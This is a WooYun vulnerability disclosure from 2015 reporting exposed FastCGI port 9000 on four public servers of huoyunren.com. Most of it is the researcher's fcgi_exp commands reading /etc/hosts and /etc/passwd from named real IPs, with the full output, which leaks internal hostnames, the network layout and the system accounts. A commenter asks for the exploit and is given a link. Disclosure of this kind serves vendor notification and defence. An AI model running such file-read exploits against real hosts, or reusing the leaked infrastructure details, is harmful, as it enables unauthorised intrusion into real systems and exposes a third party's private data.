当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0121612

漏洞标题:huoyunren.com 4台外网IP Fast-Cgi远程利用

相关厂商:huoyunren.com

漏洞作者: l137

提交时间:2015-06-19 15:31

修复时间:2015-06-24 15:32

公开时间:2015-06-24 15:32

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-19: 细节已通知厂商并且等待厂商处理中
2015-06-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

以60.28.210.240为例,为huoyunren.com某个后台,其他ip都可以直接读取服务器中的文件数据

liet@kali:~/code/exp/php/test$ ../fcgi_exp read 60.28.210.240 9000 /etc/hosts
X-Powered-By: PHP/5.3.6
Content-type: text/html
127.0.0.1 localhost cre.huoyunren.com elt.huoyunren.com
10.3.0.171 vm-logstorage-01
10.3.0.172 vm-logstorage-02
10.3.0.173 vm-logstorage-03
10.3.0.174 vm-logcompute-01
10.3.0.175 vm-logcompute-02
10.3.0.176 vm-logredis-01
10.3.0.180 vm-memcache-01
10.3.0.181 vm-memcache-02
10.3.0.182 vm-redis-01
10.3.0.183 vm-redis-02
10.3.0.190 vm-dsp-01
10.3.0.191 vm-dsp-02
10.3.0.192 vm-dsp-03
10.3.0.193 vm-dsp-04
10.3.0.194 vm-dsp-05
10.3.0.195 vm-dsp-06
10.3.0.231 vm-zookeeper-01
10.3.0.232 vm-zookeeper-02
10.3.0.233 vm-zookeeper-03
10.3.0.234 vm-zookeeper-04
10.3.0.235 vm-zookeeper-05
10.3.0.239 vm-g7web-01
10.3.0.240 vm-g7web-02
10.3.0.241 vm-g7web-03
10.3.0.242 vm-g7web-04
10.3.0.248 vm-lvs-01
10.3.0.249 vm-lvs-02
60.28.210.250 vm-vip-01
10.3.0.251 vm-jiankong-01
10.3.0.229 api.huoyunren.com


liet@kali:~/code/exp/php/test$ ../fcgi_exp read 60.28.210.240 9000 /etc/passwd
X-Powered-By: PHP/5.3.6
Content-type: text/html
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
pulse:x:497:496:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin
dovenull:x:496:493:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
nagios:x:500:500::/home/nagios:/sbin/nologin
ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin
webapps:x:501:501::/home/webapps:/bin/bash
mysql:x:502:502::/home/mysql:/sbin/nologin
ganglia:x:495:492:Ganglia Monitoring System:/var/lib/ganglia:/sbin/nologin

漏洞证明:

liet@kali:~/code/exp/php/test$ ../fcgi_exp read 60.28.210.241 9000 /etc/hosts
X-Powered-By: PHP/5.3.6
Content-type: text/html
127.0.0.1 localhost
10.3.0.171 vm-logstorage-01
10.3.0.172 vm-logstorage-02
10.3.0.173 vm-logstorage-03
10.3.0.174 vm-logcompute-01
10.3.0.175 vm-logcompute-02
10.3.0.176 vm-logredis-01
10.3.0.180 vm-memcache-01
10.3.0.181 vm-memcache-02
10.3.0.182 vm-redis-01
10.3.0.183 vm-redis-02
10.3.0.190 vm-dsp-01
10.3.0.191 vm-dsp-02
10.3.0.192 vm-dsp-03
10.3.0.193 vm-dsp-04
10.3.0.194 vm-dsp-05
10.3.0.195 vm-dsp-06
10.3.0.231 vm-zookeeper-01
10.3.0.232 vm-zookeeper-02
10.3.0.233 vm-zookeeper-03
10.3.0.234 vm-zookeeper-04
10.3.0.235 vm-zookeeper-05
10.3.0.239 vm-g7web-01
10.3.0.240 vm-g7web-02
10.3.0.241 vm-g7web-03
10.3.0.242 vm-g7web-04
10.3.0.248 vm-lvs-01
10.3.0.249 vm-lvs-02
60.28.210.250 vm-vip-01
10.3.0.251 vm-jiankong-01
10.3.0.229 api.huoyunren.com


liet@kali:~/code/exp/php/test$ ../fcgi_exp read 60.28.210.242 9000 /etc/hosts
X-Powered-By: PHP/5.3.6
Content-type: text/html
127.0.0.1 localhost ips2test.huoyunren.com ips2.huoyunren.com gsp.huoyunren.com
#211.150.64.59 smtp.huoyunren.com
10.3.0.214 master.chinawayltd.com
10.3.0.171 vm-logstorage-01
10.3.0.172 vm-logstorage-02
10.3.0.173 vm-logstorage-03
10.3.0.174 vm-logcompute-01
10.3.0.175 vm-logcompute-02
10.3.0.176 vm-logredis-01
10.3.0.180 vm-memcache-01
10.3.0.181 vm-memcache-02
10.3.0.182 vm-redis-01
10.3.0.183 vm-redis-02
10.3.0.190 vm-dsp-01
10.3.0.191 vm-dsp-02
10.3.0.192 vm-dsp-03
10.3.0.193 vm-dsp-04
10.3.0.194 vm-dsp-05
10.3.0.195 vm-dsp-06
10.3.0.231 vm-zookeeper-01
10.3.0.232 vm-zookeeper-02
10.3.0.233 vm-zookeeper-03
10.3.0.234 vm-zookeeper-04
10.3.0.235 vm-zookeeper-05
10.3.0.239 vm-g7web-01
10.3.0.240 vm-g7web-02
10.3.0.241 vm-g7web-03
10.3.0.242 vm-g7web-04
10.3.0.248 vm-lvs-01
10.3.0.249 vm-lvs-02
60.28.210.250 vm-vip-01
10.3.0.251 vm-jiankong-01
10.3.0.229 vm-api-01 api.huoyunren.com

修复方案:

9000 不对外

版权声明:转载请注明来源 l137@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-24 15:32

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-24 17:46 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    这个是什么漏洞啊 exp方便提供一下吗?谢谢

  2. 2015-06-24 18:03 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    @scanf http://zone.wooyun.org/content/1060